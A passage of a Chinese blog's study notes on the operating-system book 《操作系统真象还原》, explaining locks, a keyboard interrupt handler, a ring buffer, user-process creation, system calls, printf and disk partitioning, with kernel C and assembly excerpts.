接下来,当引入多线程以后,设想如下一个执行过程:首先假设存在线程A和线程B\n\n线程A尝试打印字符,打印结束以后,线程A进入第四步更新光标\n更新光标时,当执行到通知设置低8位时,中断发生,切换到线程B\n\n    此时,光标的坐标才刚设置了新的高8位,低8位已经被计算出来了,但还没能设置到寄存器中。但如果没有换行等,尚且不会影响到以后的打印,因为高位坐标浮动不大。\n\n线程B也需要打印字符,它也走到更新光标的时候。当它通知寄存器接下来要设置高8位时,发生中断,切换到线程A\n现在,光标寄存器以为接下来要设置高8位,而线程A则继续执行设置步骤,将本应该设置到低8位的值放到高位去了。\n\n    低位的浮动极大,诸如0xfc这样的值被放进高位,将直接导致内存访问异常。\n    那么朴素一点的解决方法就是,别让线程在打印的时候被中断。但这也不太现实,因为不只是打印字符串函数会这样,所有需要访问全局资源的函数都可能出现这个问题。并且这些函数也往往都是些底层函数,这样做对debug来说似乎不太友好,层层封装还有额外消耗,所以针对资源访问,引入一个锁来替代关闭中断。\n    锁的思路也不复杂:\n\n首先,为全局资源添加一个锁(体现为结构体,其中带有一个value)。\n接下来,任何线程尝试访问该资源时,首先查看资源是否已经上锁。若上锁,则直接将自己阻塞(加入该锁本身的阻塞队列),等待直到被唤醒为止;若未上锁,则获得该锁以防其他线程也访问该资源,然后将所有事情做完以后,释放该锁,然后主动去唤醒阻塞队列中的线程。\n\n    上面的过程是没有关中断的,显然,它仍然是能够被调度的,那些不需要访问该资源的线程自然就不会因为你需要访问全局资源而被卡脖子了。而那些需要访问本资源的线程则会在尝试访问时因为锁已经被获取了,所以陷入阻塞状态,直到当前拿着锁的线程释放锁以后主动唤醒自己。\n    具体的代码实现如下:\nstruct semaphore { uint8_t value; struct list waiters;};struct lock { struct task_struct* holder; // 锁的持有者 struct semaphore semaphore; // 用二元信号量实现锁 uint32_t holder_repeat_nr; // 锁的持有者重复申请锁的次数};\n\n    通过信号量来实现锁的功能。本书的方法如下:\n\n信号量初值为1。当有线程需要获得锁时,先将信号量减一,然后把holder指向自己的PCB;而释放锁则需要先将holder指向NULL,然后将信号量加一。\n\n    而检测锁的方式是在需要操作信号量的时候进行一次判断:\n\n减一时:如果信号量为0,则表示锁已经被取走,将自己加入锁的等待队列以后阻塞自己。\n加一时:如果等待队列非空,那就唤醒等待队列里的第一个线程,然后把信号量增加\n如上两个操作均需要在关闭中断的情况下进行,即原子操作\n\n    至于唤醒和阻塞的实现也同样不复杂:\n\n阻塞:将线程从调度器的调度队列里摘出,加入等待队列。\n唤醒:将线程从等待队列里摘出,加入调度器的调度队列。\n\n    现在我们就知道是什么情况了。只要没有线程去唤醒这些被阻塞的线程,它们就永远不会被调度器选中。那么最开始的问题是解决了,只需要把put_str这样的函数再封装一次,在外部加上获取锁和释放锁的操作,就能保证不会有上面那样的错误出现了;而对于不需要打印字符串的线程也能够正常的进行操作。\n\nPART 2 <键盘驱动>    虽然本章第二节开始都在讲这个,但概况起来看,内容不是很多,个人认为更多的是一些了解性的知识。\n    在中断那章有注意到,8259A芯片的IRQ1对应的就是键盘中断了。键盘每次击键时都会发生若干次中断,具体过程如下:\n\n键盘内置的8048芯片在每次按下按键时,会根据不同的按键向8042芯片发送对应的扫描码,同时在松开按键的时候也会发送不同的扫描码。\n8042芯片将该扫描码转换成兼容早期键盘的第一套扫描码后,将其送到固定的端口,同时触发8259A芯片的中断。\n(注:扫描码多为单字节,但也存在多字节扫描码,每传输一个字节的扫描码就需要触发一次中断,因此一个按键就可能触发多次中断)\n8259A芯片在接收中断以后做对应的处理。键盘驱动似乎就是对应的中断处理函数 **(笔者还不确定这么说是否合适)**。\n\n    扫描码如下:注释中标明了每列的意思。\nstatic char keymap[][2] = {/* 扫描码 未与shift组合 与shift组合*//* ---------------------------------- *//* 0x00 */ {0, 0}, /* 0x01 */ {esc, esc}, /* 0x02 */ {'1', '!'}, /* 0x03 */ {'2', '@'}, /* 0x04 */ {'3', '#'}, /* 0x05 */ {'4', '$'}, /* 0x06 */ {'5', '%'}, /* 0x07 */ {'6', '^'}, /* 0x08 */ {'7', '&'}, /* 0x09 */ {'8', '*'}, /* 0x0A */ {'9', '('}, /* 0x0B */ {'0', ')'}, /* 0x0C */ {'-', '_'}, /* 0x0D */ {'=', '+'}, /* 0x0E */ {backspace, backspace}, /* 0x0F */ {tab, tab}, /* 0x10 */ {'q', 'Q'}, /* 0x11 */ {'w', 'W'}, /* 0x12 */ {'e', 'E'}, /* 0x13 */ {'r', 'R'}, /* 0x14 */ {'t', 'T'}, /* 0x15 */ {'y', 'Y'}, /* 0x16 */ {'u', 'U'}, /* 0x17 */ {'i', 'I'}, /* 0x18 */ {'o', 'O'}, /* 0x19 */ {'p', 'P'}, /* 0x1A */ {'[', '{'}, /* 0x1B */ {']', '}'}, /* 0x1C */ {enter, enter},/* 0x1D */ {ctrl_l_char, ctrl_l_char},/* 0x1E */ {'a', 'A'}, /* 0x1F */ {'s', 'S'}, /* 0x20 */ {'d', 'D'}, /* 0x21 */ {'f', 'F'}, /* 0x22 */ {'g', 'G'}, /* 0x23 */ {'h', 'H'}, /* 0x24 */ {'j', 'J'}, /* 0x25 */ {'k', 'K'}, /* 0x26 */ {'l', 'L'}, /* 0x27 */ {';', ':'}, /* 0x28 */ {'\\'', '"'}, /* 0x29 */ {'`', '~'}, /* 0x2A */ {shift_l_char, shift_l_char}, /* 0x2B */ {'\\\\', ''}, /* 0x2C */ {'z', 'Z'}, /* 0x2D */ {'x', 'X'}, /* 0x2E */ {'c', 'C'}, /* 0x2F */ {'v', 'V'}, /* 0x30 */ {'b', 'B'}, /* 0x31 */ {'n', 'N'}, /* 0x32 */ {'m', 'M'}, /* 0x33 */ {',', '<'}, /* 0x34 */ {'.', '>'}, /* 0x35 */ {'/', '?'},/* 0x36 */ {shift_r_char, shift_r_char}, /* 0x37 */ {'*', '*'}, /* 0x38 */ {alt_l_char, alt_l_char},/* 0x39 */ {' ', ' '}, /* 0x3A */ {caps_lock_char, caps_lock_char}/*其它按键暂不处理*/};\n\n    但需要注意的是,只有处理器每次从0x60号端口取走一字节的扫描码以后,键盘才会触发下一次中断。所以对于一些组合键或是多字节扫描码的按键来说,需要多次中断才能判明用户的行为。所以中断处理函数似乎变得有些臃肿。\n\n注:同一个按键按下时产生“通码”,松开时产生“断码”。通码和断码从开始就设计好了,它们只差了二进制数的第七位。对于第七位为0的数是通码,为1的则为断码。下述代码的break_code就是断码,make_code是通码。\n\n/* 键盘中断处理程序 */static void intr_keyboard_handler(void) {/* 这次中断发生前的上一次中断,以下任意三个键是否有按下 */ bool ctrl_down_last = ctrl_status; bool shift_down_last = shift_status; bool caps_lock_last = caps_lock_status; bool break_code; uint16_t scancode = inb(KBD_BUF_PORT);/* 若扫描码是e0开头的,表示此键的按下将产生多个扫描码, * 所以马上结束此次中断处理函数,等待下一个扫描码进来*/ if (scancode == 0xe0) { ext_scancode = true; // 打开e0标记 return; }/* 如果上次是以0xe0开头,将扫描码合并 */ if (ext_scancode) { scancode = ((0xe000) scancode); ext_scancode = false; // 关闭e0标记 } break_code = ((scancode & 0x0080) != 0); // 获取break_code if (break_code) { // 若是断码break_code(按键弹起时产生的扫描码) /* 由于ctrl_r 和alt_r的make_code和break_code都是两字节, 所以可用下面的方法取make_code,多字节的扫描码暂不处理 */ uint16_t make_code = (scancode &= 0xff7f); // 得到其make_code(按键按下时产生的扫描码) /* 若是任意以下三个键弹起了,将状态置为false */ if (make_code == ctrl_l_make make_code == ctrl_r_make) { ctrl_status = false; } else if (make_code == shift_l_make make_code == shift_r_make) { shift_status = false; } else if (make_code == alt_l_make make_code == alt_r_make) { alt_status = false; } /* 由于caps_lock不是弹起后关闭,所以需要单独处理 */ return; // 直接返回结束此次中断处理程序 } /* 若为通码,只处理数组中定义的键以及alt_right和ctrl键,全是make_code */ else if ((scancode > 0x00 && scancode < 0x3b) \\ (scancode == alt_r_make) \\ (scancode == ctrl_r_make)) { bool shift = false; // 判断是否与shift组合,用来在一维数组中索引对应的字符 if ((scancode < 0x0e) (scancode == 0x29) \\ (scancode == 0x1a) (scancode == 0x1b) \\ (scancode == 0x2b) (scancode == 0x27) \\ (scancode == 0x28) (scancode == 0x33) \\ (scancode == 0x34) (scancode == 0x35)) { /****** 代表两个字母的键 ******** 0x0e 数字'0'~'9',字符'-',字符'=' 0x29 字符'`' 0x1a 字符'[' 0x1b 字符']' 0x2b 字符'\\\\' 0x27 字符';' 0x28 字符'\\'' 0x33 字符',' 0x34 字符'.' 0x35 字符'/' *******************************/ if (shift_down_last) { // 如果同时按下了shift键 shift = true; } } else { // 默认为字母键 if (shift_down_last && caps_lock_last) { // 如果shift和capslock同时按下 shift = false; } else if (shift_down_last caps_lock_last) { // 如果shift和capslock任意被按下 shift = true; } else { shift = false; } } uint8_t index = (scancode &= 0x00ff); // 将扫描码的高字节置0,主要是针对高字节是e0的扫描码. char cur_char = keymap[index][shift]; // 在数组中找到对应的字符 /* 如果cur_char不为0,也就是ascii码为除'\\0'外的字符就加入键盘缓冲区中 */ if (cur_char) { /***************** 快捷键ctrl+l和ctrl+u的处理 ********************* * 下面是把ctrl+l和ctrl+u这两种组合键产生的字符置为: * cur_char的asc码-字符a的asc码, 此差值比较小, * 属于asc码表中不可见的字符部分.故不会产生可见字符. * 我们在shell中将ascii值为l-a和u-a的分别处理为清屏和删除输入的快捷键*/ if ((ctrl_down_last && cur_char == 'l') (ctrl_down_last && cur_char == 'u')) { cur_char -= 'a'; } /****************************************************************/ /* 若kbd_buf中未满并且待加入的cur_char不为0, * 则将其加入到缓冲区kbd_buf中 */ if (!ioq_full(&kbd_buf)) { ioq_putchar(&kbd_buf, cur_char); } return; } /* 记录本次是否按下了下面几类控制键之一,供下次键入时判断组合键 */ if (scancode == ctrl_l_make scancode == ctrl_r_make) { ctrl_status = true; } else if (scancode == shift_l_make scancode == shift_r_make) { shift_status = true; } else if (scancode == alt_l_make scancode == alt_r_make) { alt_status = true; } else if (scancode == caps_lock_make) { /* 不管之前是否有按下caps_lock键,当再次按下时则状态取反, * 即:已经开启时,再按下同样的键是关闭。关闭时按下表示开启。*/ caps_lock_status = !caps_lock_status; } } else { put_str("unknown key\\n"); }}\n\n    然后将该函数注册到IDT中即可。但是我们只是让自己敲的键盘字符出现的屏幕上,并不是像shell那样能被读取。这些字符并不是出现在缓冲区里的,所以本书最后一节实现了一个简单的环形缓冲区,用以暂存从键盘上输入的字符,让其他程序能够从该缓冲区里读出用户键入的数据。\n\n注:上面的intr_keyboard_handler来自本章最后一节,实际上它已经实现了缓冲区了。通过ioq_putchar函数将数据放入缓冲区中。\n\n\nPART 3 <环形缓冲区>    最后一节也没有太多内容了,关于环形缓冲区的思路随便搜一下就能找到。还有关于生产者和消费者的问题,个人认为书上的表述并不太好,还是看代码字节理解来得更快。本节内容并不是什么复杂的东西,这里就不赘述了。\nstruct ioqueue { struct lock lock; struct task_struct* producer; struct task_struct* consumer; char buf[bufsize]; // 缓冲区大小 int32_t head; // 队首,数据往队首处写入 int32_t tail; // 队尾,数据从队尾处读出};\n\nvoid ioq_putchar(struct ioqueue* ioq, char byte) { ASSERT(intr_get_status() == INTR_OFF); while (ioq_full(ioq)) { lock_acquire(&ioq->lock); ioq_wait(&ioq->producer); lock_release(&ioq->lock); } ioq->buf[ioq->head] = byte; // 把字节放入缓冲区中 ioq->head = next_pos(ioq->head); // 把写游标移到下一位置 if (ioq->consumer != NULL) { wakeup(&ioq->consumer); // 唤醒消费者 }}\n\nchar ioq_getchar(struct ioqueue* ioq) { ASSERT(intr_get_status() == INTR_OFF); while (ioq_empty(ioq)) { lock_acquire(&ioq->lock); ioq_wait(&ioq->consumer); lock_release(&ioq->lock); } char byte = ioq->buf[ioq->tail]; // 从缓冲区中取出 ioq->tail = next_pos(ioq->tail); // 把读游标移到下一位置 if (ioq->producer != NULL) { wakeup(&ioq->producer); // 唤醒生产者 } return byte; }\n\n    两个函数分别从缓冲区中放入和读取一个字节。此处的缓冲区也属于全局资源,所以也需要加锁,同时是用while进行判断的,因为可能唤醒该线程的时,线程还是不符合条件的情况出现。\n    然后现在回顾上一个PART的中intr_keyboard_handler函数。\nstruct ioqueue kbd_buf; if (!ioq_full(&kbd_buf)) { ioq_putchar(&kbd_buf, cur_char); }\n\n    kbd_buf是内核全局变量,也就是内核缓冲区。键盘的输入会存入内核缓冲区,然后由其他程序读出以实现交互(其实就是本书本章本节前面实现的控制台了)。\n插画ID:92002347\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"《操作系统真象还原》chapter11 笔记与梳理","url":"/2022/02/09/systemkernel-chapter11/","content":"\n本章总算是开始我之前最关心的问题:用户进程的虚拟地址空间如何实现。实际上在读前几章的时候就大概知道了,但还是对其具体的实现和细节方面抱有疑问,既然现在看完这章了,趁着还记得的时候留些笔记好了。\n首先是关于TSS(Task Status Segment)的作用和开始时存在的疑问:\n\nTSS早期是由Intel设计出来,并建议操作系统厂商在实现多任务时使用的结构。支持多任务的操作系统往往是通过中断来实现任务切换的,Intel的目的是希望通过TSS保存任务中断前的状态(寄存器、栈、位图、上一个TSS结构),然后由操作系统加载新的TSS到该寄存器中并记录中断前TSS到新TSS中,以实现任务嵌套。\n\n但从结论上说,由于操作系统维护TSS的开销巨大,于是各个操作系统厂商都拒绝了这套方案,转而用自己的实现去替代,而TSS只起到特权级切换时对栈的切换而已。\nLinux选择了更加简单的维护寄存器方案:\n\n直接在任务自己的栈中push寄存器,同时之维护TSS中与栈相关的内容。且让所有任务共用一个TSS。\n\n不过我们也知道,Linux只用了R0和R3两个特权级,所以对只需要维护TSS中SS0和ESP0即可。\n接下来概述一下建立用户进程的流程:\n\n首先需要为用户进程建立TSS,但只需要为其SS0选址。\n同时还要为用户进程添加GDT(还未建立LDT),分别是其代码段还数据段。\n然后为用户进程建立PCB(流程同之前加载线程相同)\n为用户进程建立用户空间虚拟内存池,初始化其位图\n为用户进程创建新页表\n将用户进程加入到调度队列\n\n尽管流程如上,但有几个需要注意的细节点:\n\n首先是关于如何切换到用户进程。用户进程毕竟是运行在R3权限下的进程,但目前我们却在做R0才能做的事,且处理器是不允许我们能够普通地从高特权级往低特权级转移的,类似jmp和call指令在特权检查时会被阻止。\n\n一般的想法应该是中断返回,这是处理器唯一容许的由高权级往低权级转移的方法。所以我们的目的是在内核栈中伪造数据,然后通过iret指令返回到用户进程中。由此往后再通过普通的线程调度来回切换即可。任务切换走的是时钟中断,和线程调度并无区别,只是任务切换涉及到了页表切换这一过程。\n调度器会在进行线程/进程调度时进行页表切换。对于用户进程,其页表地址的PCB中记录;对于内核线程,其页表地址为NULL,将会默认切换回内核页表。至于用户线程,则可和用户进程一样,只是其PCB中记录进程本身的页表地址。\n创建进程:\nvoid process_execute(void* filename, char* name) {struct task_struct* thread = get_kernel_pages(1);init_thread(thread, name, default_prio);create_user_vaddr_bitmap(thread);thread_create(thread, start_process, filename);thread->pgdir = create_page_dir();enum intr_status old_status = intr_disable();ASSERT(!elem_find(&thread_ready_list, &thread->general_tag));list_append(&thread_ready_list, &thread->general_tag);ASSERT(!elem_find(&thread_all_list, &thread->all_list_tag));list_append(&thread_all_list, &thread->all_list_tag);intr_set_status(old_status);}\n\n注意第五行thread_create函数,该线程将调用start_process函数,而filename则是我们输入的文件(假设它是一个函数吧,因为笔者目前还没看到第12章)\nstart_process实例如下:\nvoid start_process(void* filename_) {void* function = filename_;struct task_struct* cur = running_thread();cur->self_kstack += sizeof(struct thread_stack);struct intr_stack* proc_stack = (struct intr_stack*)cur->self_kstack;proc_stack->edi = proc_stack->esi = proc_stack->ebp = proc_stack->esp_dummy = 0;proc_stack->ebx = proc_stack->edx = proc_stack->ecx = proc_stack->eax = 0;proc_stack->gs = 0; // 用户态用不上,直接初始为0proc_stack->ds = proc_stack->es = proc_stack->fs = SELECTOR_U_DATA;proc_stack->eip = function; // 待执行的用户程序地址proc_stack->cs = SELECTOR_U_CODE;proc_stack->eflags = (EFLAGS_IOPL_0 EFLAGS_MBS EFLAGS_IF_1);proc_stack->esp = (void*)((uint32_t)get_a_page(PF_USER, USER_STACK3_VADDR) + PG_SIZE) ;proc_stack->ss = SELECTOR_U_DATA;asm volatile ("movl %0, %%esp; jmp intr_exit" : : "g" (proc_stack) : "memory");}\n\n该函数将获取用户进程的intr_stack结构体,该结构体是在进入中断时用户储存返回信息的,现在只需要篡改这些返回信息,比如将eip初始化为我们的”文件”入口,也就是function,然后再返回到intr_exit就能像普通的中断一样正常退出了。\n然后是调度器在遇到本进程的时候会主动尝试激活进程/线程:调用process_activate\nvoid process_activate(struct task_struct* p_thread) { ASSERT(p_thread != NULL); page_dir_activate(p_thread); if (p_thread->pgdir) { /* 更新该进程的esp0,用于此进程被中断时保留上下文 */ update_tss_esp(p_thread); }}void page_dir_activate(struct task_struct* p_thread) { uint32_t pagedir_phy_addr = 0x100000; // 默认为内核的页目录物理地址,也就是内核线程所用的页目录表 if (p_thread->pgdir != NULL) { // 用户态进程有自己的页目录表 pagedir_phy_addr = addr_v2p((uint32_t)p_thread->pgdir); } asm volatile ("movl %0, %%cr3" : : "r" (pagedir_phy_addr) : "memory");}void update_tss_esp(struct task_struct* pthread) { tss.esp0 = (uint32_t*)((uint32_t)pthread + PG_SIZE);}\n\n其中page_dir_activate函数会将记录在PCB中的页表加载到CR3寄存器中。\n\n但上述过程有一个小细节,在不清楚代码全貌的情况下可能会产生一个困惑:\n\ncr3寄存器加载以后,为什么接下来的操作还能够进行,寻址不会出现问题吗?\n\n事实上确实如此,但在为用户进程建立页表的时候,为防止此问题出现做了些微操。代码实现如下:\nuint32_t* create_page_dir(void) { uint32_t* page_dir_vaddr = get_kernel_pages(1); if (page_dir_vaddr == NULL) { console_put_str("create_page_dir: get_kernel_page failed!"); return NULL; } memcpy((uint32_t*)((uint32_t)page_dir_vaddr + 0x300*4), (uint32_t*)(0xfffff000+0x300*4), 1024); uint32_t new_page_dir_phy_addr = addr_v2p((uint32_t)page_dir_vaddr); page_dir_vaddr[1023] = new_page_dir_phy_addr PG_US_U PG_RW_W PG_P_1; return page_dir_vaddr;}\n\nmemcpy函数将内核页表的768项及以后都拷贝到了用户页表中。相当于我们在用户的地址空间中嵌入了内核入口点,768正对应着0xc0000000,也就是一般规定的内核空间地址。\n所以即便加载了用户页表到cr3,也会因为其有着相同的页表内容而不会出现地址错位的情况。因为内核是一个进程,它也只有一个自己的页表,所以只要把自己的页表嵌入到其他进程里,所有的进程就都能够访问内核空间了(权限允许的情况下)。\n\n最后来梳理一下过程吧:\n\n首先为进程创建一个PCB,这个PCB里包含了进程运行的必要参数,同时还提供了进程R0权级下的栈空间。更新进程状态为就绪,并为其建立用户虚拟地址空create_user_vaddr_bitmap然后照常用thread_create将其初始化为线程(只做初始化操作)thread_create再为该进程建立页表create_page_dir最后将进程的PCB加入到调度就绪队列和总队列中即可。\n\n在调度器选中该进程时,将会因为thread_create时设置的eip为start_process转而执行该函数。最后在该函数中完成最后的操作:\n\n首先在其内核栈中布置iret时需要的寄存器数据。其中,因为esp将会是用户级的栈,所以另外为其开辟一页内存(get_a_page),然后在SS中赋予栈权级为R3最后将esp转到布置好的内核栈位置,然后跳转到intr_exit正常返回\n\n但不知道是本书作者的遗漏还是没注意到,总觉得start_process函数有些问题。\n该函数最后一行直接将esp切换到了用户内核栈,但是,应该如何恢复自己的esp呢?直接mov的操作不会导致自己的esp值丢失吗?\n这才发现之前中断中使用的switch_to函数:\nswitch_to:push esipush edipush ebxpush ebpmov eax, [esp + 20] ; 得到栈中的参数cur, cur = [esp+20]mov [eax], esp ; 保存栈顶指针esp. task_struct的self_kstack字段,mov eax, [esp + 24] ; 得到栈中的参数next, next = [esp+24]mov esp, [eax] ; pcb的第一个成员是self_kstack成员,用来记录0级栈顶指针,pop ebppop ebxpop edipop esiret ; 返回到上面switch_to下面的那句注释的返回地址,; 未由中断进入,第一次执行时会返回到kernel_thread\n\n在执行start_process函数之前,会先把当前esp保存到PCB中,然后再进行切换。\n之后,在start_process函数中所做的“遗弃”似的操作就成了无关紧要的事情了。\n保存当前esp以后,esp已经切换为了用户进程的内核栈,然后在start_process中进行任何操作对esp有任何影响都无关紧要了,因为这里面的数据从此以后都不再需要了。之后需要用到内核栈的时候从TSS里加载即可。\n另外还有这么一个事实:\n\n用户进程毕竟是用户态的程序,它大多的事情应该是在用户态中进行的。那么从R3到R0再到R3的过程以后,R0级的栈里应该仍然是空的,因为所有编译器都会保证push和pop的数量相等,相当于从R3通过call进到R0一样,回来的时候同样会把R0的栈中数据释放。所以每次加载TSS的ESP都会有相同的结果,即栈底。\n\n(不过就我个人来说,对这个事实还是有点难以释然,但这毕竟是说得通的,如果以后有更好的答案了再来补充吧)\n插画ID:74657806\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"《操作系统真象还原》chapter12 笔记与思考","url":"/2022/02/11/systemkernel-chapter12/","content":"本章内容只有一个:系统调用\n实现的调用包括:sys_malloc、sys_free、sys_write、sys_getpid\n前言可惜的是,本书本章使用的是目前Linux已经弃用的_syscallX方式。在原版的Linux中,这种方式最多只支持6个参数,限制诸多且据本书作者说还存在安全问题(不过我查了一圈不知道具体是指什么样的安全事件)。目前记笔记时姑且这样继续,事后自己尝试的时候再试试能不能实现更加现代化一点的操作。\n另外本书这节也实现了malloc和free,但其实现方式和我一直以来认知的堆管理似乎有很大的差别……考虑到实际的工程量问题,事后再尝试能否也做一些现代化的改造吧,当下先以笔记优先,姑且认同其实现方式。\n系统调用仿造Linux的操作,只使用软中断0x80来实现系统调用,过程如下:\n维护一张系统调用表syscall_table,该表用于储存每个系统调用函数的地址在IDT中注册0x80中断号对应的处理程序(称之为syscall_handler)\nmake_idt_desc(&idt[0x80], IDT_DESC_ATTR_DPL3, syscall_handler);\n\n该处理函数根据中断调用号在系统调用表中寻址对应函数,这些函数是sys_funcname族函数,属于具体的实现函数例如调用常规的getpid函数将引发如下操作:\n\n调用_syscall0函数传入getpid的调用号\n在_syscall0中向内核通过eax传参(即调用号),然后触发0x80中断\n中断调用处理函数syscall_handler通过调用号在调用表中寻址得到对应的函数(sys_getpid),该函数负责具体操作并返回结果\n\n注:pid是加在task_struct也就是PCB中的\n其实也没什么,单纯就是在触发中断以后进入处理函数,此时已经陷入内核,属于R0权级了,所有操作都能够正常进行了。特地为用户加一个进入内核方法罢了,只是所有方法的操作都被限制在固定范围。\nsyscall_handler: push 0 push ds push es push fs push gs pushad ; PUSHAD指令压入32位寄存器,其入栈顺序是: ; EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI push 0x80 ; 此位置压入0x80也是为了保持统一的栈格式 ;2 为系统调用子功能传入参数 push edx ; 系统调用中第3个参数 push ecx ; 系统调用中第2个参数 push ebx ; 系统调用中第1个参数 call [syscall_table + eax*4] ; 编译器会在栈中根据C函数声明匹配正确数量的参数 add esp, 12 ; 跨过上面的三个参数 ;4 将call调用后的返回值存入待当前内核栈中eax的位置 mov [esp + 8*4], eax jmp intr_exit ; intr_exit返回,恢复上下文\n\nprintf和变长参数uint32_t printf(const char* format, ...) { va_list args; va_start(args, format); // 使args指向format char buf[1024] = {0}; // 用于存储拼接后的字符串 vsprintf(buf, format, args); va_end(args); return write(buf);}\n\nprintf中通过vsprintf将输入的参数和format适配并转换成新的字符串通过write函数输出\n变长参数的实现主要是出于c调用规则规定由调用者清理参数,所以调用printf函数push多少参数入栈,事后也要自己清理这些堆栈,所以不用担心这些参数淤积在栈里。\n所以需要关心的问题是,如何准确的适配所有参数?答案是提供了参数模板,也就是这里的格式化字符串。\nformat中提供占位符来识别参数数量,有多少占位符就会用多少个参数,多的参数不会被用到,也不会留在栈里。至于少参数的情况……似乎没有高效的解决办法,即便现在2022年了,直接在C语言里直接这样写也会导致内存泄露:\nint* p=0;printf("%p\\n%p", p);\n\n(当然,真要解决也不是没办法,只是需要付出更多的开销)\n至于vsprintf函数则只需要根据format来识别函数就行了:\nuint32_t vsprintf(char* str, const char* format, va_list ap) { char* buf_ptr = str; const char* index_ptr = format; char index_char = *index_ptr; int32_t arg_int; char* arg_str; while(index_char) { if (index_char != '%') { *(buf_ptr++) = index_char; index_char = *(++index_ptr); continue; } index_char = *(++index_ptr); // 得到%后面的字符 switch(index_char) { case 's': arg_str = va_arg(ap, char*); strcpy(buf_ptr, arg_str); buf_ptr += strlen(arg_str); index_char = *(++index_ptr); break; case 'c': *(buf_ptr++) = va_arg(ap, char); index_char = *(++index_ptr); break; case 'd': arg_int = va_arg(ap, int); /* 若是负数, 将其转为正数后,再正数前面输出个负号'-'. */ if (arg_int < 0) { arg_int = 0 - arg_int; *buf_ptr++ = '-'; } itoa(arg_int, &buf_ptr, 10); index_char = *(++index_ptr); break; case 'x': arg_int = va_arg(ap, int); itoa(arg_int, &buf_ptr, 16); index_char = *(++index_ptr); // 跳过格式字符并更新index_char break; } } return strlen(str);}\n\n对于常规字符直接拷贝即可,遇到‘%’时根据下一个字符决定拷贝内容。\n堆管理首先简述一下本书所实现的堆管理逻辑吧:\nsys_malloc:\n\n在每个任务的PCB中加入一个arena数组用于管理不同大小的chunk(其实就是GLIBC实现的Bins结构的简化版)\n初始化时将每个Bin中的free_list清空,然后初始化该Bin中能够存放的chunk数\n然后在用户实际调用malloc时,根据其所需要开辟的size选择对应的arena,然后从内核分配一个内存页,将该页按照该arena所管理的size切割成一块块chunk然后全都挂到其free_list里,最后从该链表里取出一块chunk分配给用户\n\nsys_free:\n\n对于一些小的需求,将该chunk重新挂回free_list即可\n对于需要返还内存页的情况,将用户虚拟地址位图中对应位置0,然后将自己PTE中对应的页的P位置0表示其不在内存中\n最后把物理内存池的位图中对应内存页的flag置0,表示该页可用\n另外还需要刷新TLS(用于缓存页表的硬件设备)\n\n逻辑和GLIBC有点像,不过是精简版的,个人认为这种方式虽然可行,但效率并没有GLIBC那样高。\n最后,为用户提供malloc和free函数,两个函数调用sys_malloc和sys_free就算完成了。\n嘛,如果到时候有机会的话可以试着实现一个看看,不过目前先就这样放着吧。本书最终的操作系统毕竟只是一个用于理解原理的精简版,所以知道真是情况以后还是省察着看吧。\n\n插画ID:90781328\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"《操作系统真象还原》chapter13 笔记与整理","url":"/2022/02/11/systemkernel-chapter13/","content":"\n不太好用比较好看的格式来说明这章的内容,就我个人的感受来说,主要是科普了一下计算机和硬盘是如何交互的,顺便对外部设备的驱动编写有了一点比较模糊的认识。\n名次解释首先是关于硬盘的几个名词解释:\n\n盘面:磁盘上的任何一面都能称之为盘面\n柱面:将多个磁盘叠在一起,相同磁道号构成的圆柱面\n磁头:用于读写磁盘的设备,一个磁盘上下两面各有一个\n磁道:任何一个磁盘上用于储存数据的带磁同心圆\n分区:认为界定一个磁盘各个区域的名词\n扇区:标准扇区512字节,每个磁道由多个扇区构成\n\n反正具体的样貌大概都能搜出来,名次解释并没有太大意义,这里写出来是为了让文章看起来比较舒服。\n另外还需要记录一点,有关磁盘储存数据的方式:\n\n每个主盘的第一个磁道用于存放MBR,而MBR只占用一个扇区,多余扇区往往不使用。一个磁道一般63个扇区(过去是这样,现在更多更大了,但出于向前兼容的缘故,应该认为每个磁道的扇区数相同)\n第一个扇区除了MBR外还需要存放64字节的分区表,分区表记录整块磁盘的分区数据\n\n不过现代硬盘为了支持更多的分区(早期只支持4个主分区),引申出了逻辑分区的概念。将硬盘分为3个主分区和一个逻辑分区。\n逻辑分区是理论上可以无限被分割的分区,它为从自身再分配出去的每个分区单独赋予一张分区表,每张分区表通过隐式链接的方法可以追溯到下一个分区。\n每个分区的第一个磁道都是引导记录,只是第一个分区的叫做MBR(Main Boot Record),其他的都叫做EBR(Extended Boot Record)。而每个分区的第二个磁道开始还放了一个OBR(OS Boot Record)。EBR和MBR是完全一样的结构,只是在名字上做了区别;而OBR则不同于MBR,它就是普通的存放在磁道上的数据而已,用于完成操作系统的自举。\n分区表条目如下:\nstruct partition_table_entry { uint8_t bootable; // 是否可引导 uint8_t start_head; // 起始磁头号 uint8_t start_sec; // 起始扇区号 uint8_t start_chs; // 起始柱面号 uint8_t fs_type; // 分区类型 uint8_t end_head; // 结束磁头号 uint8_t end_sec; // 结束扇区号 uint8_t end_chs; // 结束柱面号 uint32_t start_lba; // 本分区起始扇区的lba地址 uint32_t sec_cnt; // 本分区的扇区数目} __attribute__ ((packed)); // 保证此结构是16字节大小\n\n主要通过start_lba+sec_cnt*512来实现下一个分区的寻址,所以叫隐式链接。\n本书有一张非常形象的图用以解释这个方法,不过因为我懒得拍一张下来,有兴趣的师傅可以去翻翻看,P577-图13-23。\nIDE通道实现操作系统和硬盘的交互主要是走IDE(Integrated Drive Electronics)通道,个人目前对IDE的认知是一套由操作系统实现的驱动接口。所以实现硬盘驱动就是在写IDE。\n不过作者在本章才实现thread_yield,让这章的结构看起来有些混乱(虽然这似乎看起来是顺理成章的事情),所以关于thread_yield和idle的内容会放在本片笔记的结尾。\n首先是关于操作系统如何与硬盘进行交互的内容:\n\nBIOS在启动之初就会像磁盘写入一系列数据,其中硬盘数量被写在0x475地址处\n和之前的8259A芯片等设备相同,硬盘也提供了一些寄存器用以让操作系统向其发送指令,包括IDENTIFY、READ_SECTOR、WRITE_SECTOR三个指令。\n操作系统向对应的寄存器中写入硬盘编号、起始偏移、所需扇区数后,待硬盘完成对应的寻址和返回操作以后,便能够从固定的端口读出硬盘数据\n另外IDENTIFY指令发送后,硬盘会返回一系列有关硬盘本身的信息,可以用它们来构建整个硬盘的分区结构\n硬盘也分主盘和从盘,在发送指令的时候需要指定发送的目标硬盘。当硬盘完成任务以后会触发8259A芯片上的IRQ14和IRQ15中断响应处理器\n\n更加具体的操作直接看代码和注释吧。\ninit_ide:\n/* 硬盘数据结构初始化 */void 